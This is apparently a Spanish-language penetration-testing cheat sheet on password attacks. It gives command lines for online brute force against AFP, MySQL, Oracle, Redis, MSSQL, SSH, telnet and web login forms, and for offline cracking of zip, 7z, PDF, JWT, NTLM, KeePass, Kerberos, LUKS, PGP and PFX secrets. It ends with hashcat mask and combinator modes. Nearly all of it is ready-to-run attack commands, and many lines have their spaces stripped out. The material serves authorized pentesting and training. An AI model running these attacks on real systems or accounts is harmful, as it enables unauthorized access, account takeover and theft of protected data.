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Encuentra tanta información sobre el objetivo como puedas y genera un diccionario personalizado. Herramientas que pueden ayudar:
Crunch
crunch460123456789ABCDEF-ocrunch1.txt#From length 4 to 6 using that alphabetcrunch44-f/usr/share/crunch/charset.lstmixalpha# Only length 4 using charset mixalpha (inside file charset.lst)@Lowercasealphacharacters,Uppercasealphacharacters%Numericcharacters^Specialcharactersincludingspaccrunch68-t,@@^^%%
Una herramienta generadora de listas de palabras, que te permite proporcionar un conjunto de palabras, dándote la posibilidad de crear múltiples variaciones a partir de las palabras dadas, creando una lista de palabras única e ideal para usar en relación con un objetivo específico.
Usa Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo.
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Servicios
Ordenados alfabéticamente por nombre del servicio.
AFP
nmap-p548--scriptafp-brute<IP>msf> useauxiliary/scanner/afp/afp_loginmsf> setBLANK_PASSWORDStruemsf> setUSER_AS_PASStruemsf> setPASS_FILE<PATH_PASSWDS>msf> setUSER_FILE<PATH_USERS>msf> run
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
Para https tienes que cambiar de "http-post-form" a "https-post-form"
HTTP - CMS -- (W)ordpress, (J)oomla o (D)rupal o (M)oodle
cmsmap-fW/J/D/M-ua-pahttps://wordpress.com# Check also https://github.com/evilsocket/legba/wiki/HTTP
# hydrahydra-Lusernames.txt-Ppass.txt<IP>mysql# msfconsolemsf> useauxiliary/scanner/mysql/mysql_login; setVERBOSEfalse# medusamedusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
#Legbalegbamysql--usernameroot--passwordwordlists/passwords.txt--targetlocalhost:3306
OracleSQL
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.pypasswordguesser-s $SERVER -d $SID./odat.pypasswordguesser-s $MYSERVER -p $PORT --accounts-fileaccounts_multiple.txt#msf1msf> useadmin/oracle/oracle_loginmsf> setRHOSTS<IP>msf> setRPORT1521msf> setSID<SID>#msf2, this option uses nmap and it fails sometimes for some reasonmsf> usescanner/oracle/oracle_loginmsf> setRHOSTS<IP>msf> setRPORTS1521msf> setSID<SID>#for some reason nmap fails sometimes when executing this scriptnmap--scriptoracle-brute-p1521--script-argsoracle-brute.sid=<SID><IP>legbaoracle--targetlocalhost:1521--oracle-databaseSYSTEM--usernameadmin--passworddata/passwords.txt
Para usar oracle_login con patator necesitas instalar:
msf> useauxiliary/scanner/redis/redis_loginnmap--scriptredis-brute-p6379<IP>hydra–P/path/pass.txtredis://<IP>:<PORT># 6379 is the defaultlegbaredis--targetlocalhost:6379--usernameadmin--passworddata/passwords.txt [--redis-ssl]
legbasftp--usernameadmin--passwordwordlists/passwords.txt--targetlocalhost:22# Try keys from a folderlegbasftp--usernameadmin--password'@/some/path/*'--ssh-auth-modekey--targetlocalhost:22
#Use the NetBIOS name of the machine as domaincrackmapexecmssql<IP>-d<DomainName>-uusernames.txt-ppasswords.txthydra-L/root/Desktop/user.txt–P/root/Desktop/pass.txt<IP>mssqlmedusa-h<IP>–U/root/Desktop/user.txt–P/root/Desktop/pass.txt–Mmssqlnmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
SSH
hydra-lroot-Ppasswords.txt [-t 32]<IP>sshncrack-p22--userroot-Ppasswords.txt<IP> [-T 5]medusa-uroot-P500-worst-passwords.txt-h<IP>-Msshpatator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legbassh--usernameadmin--passwordwordlists/passwords.txt--targetlocalhost:22# Try keys from a folderlegbassh--usernameadmin--password'@/some/path/*'--ssh-auth-modekey--targetlocalhost:22
Claves SSH débiles / PRNG predecible de Debian
Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser atacado por fuerza bruta con herramientas como snowdroppe/ssh-keybrute. También están disponibles conjuntos pre-generados de claves débiles como g0tmi1k/debian-ssh.
STOMP (ActiveMQ, RabbitMQ, HornetQ y OpenMQ)
El protocolo de texto STOMP es un protocolo de mensajería ampliamente utilizado que permite una comunicación e interacción sin problemas con servicios populares de colas de mensajes como RabbitMQ, ActiveMQ, HornetQ y OpenMQ. Proporciona un enfoque estandarizado y eficiente para intercambiar mensajes y realizar diversas operaciones de mensajería.
hydra-lroot-Ppasswords.txt [-t 32]<IP>telnetncrack-p23--userroot-Ppasswords.txt<IP> [-T 5]medusa-uroot-P500-worst-passwords.txt-h<IP>-Mtelnetlegbatelnet \--username admin \--password wordlists/passwords.txt \--target localhost:23 \--telnet-user-prompt "login: " \--telnet-pass-prompt "Password: " \--telnet-prompt ":~$ " \--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
Usa Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo.
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#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
Ataque de zip con texto plano conocido
Necesitas conocer el texto plano (o parte del texto plano) de un archivo contenido dentro del zip encriptado. Puedes verificar nombres de archivos y tamaño de archivos contenidos dentro de un zip encriptado ejecutando: 7z l encrypted.zip
Descarga bkcrackde la página de lanzamientos.
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password
7z
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
PDF
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
Cracking NTLM
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
Keepass
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Keberoasting
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
Método 2
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
Clave privada PGP/GPG
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
Si tienes un archivo xlsx con una columna protegida por una contraseña, puedes desprotegerla:
Cárgalo en google drive y la contraseña se eliminará automáticamente
Para eliminarlamanualmente:
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .
Certificados PFX
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
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hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
Ataque combinador de listas de palabras
Es posible combinar 2 listas de palabras en 1 con hashcat.
Si la lista 1 contenía la palabra "hello" y la segunda contenía 2 líneas con las palabras "world" y "earth". Se generarán las palabras helloworld y helloearth.
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
Ataque de máscara (-a 3)
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
Lista de palabras + Máscara (-a 6) / Máscara + Lista de palabras (-a 7) ataque
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
Usa Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy: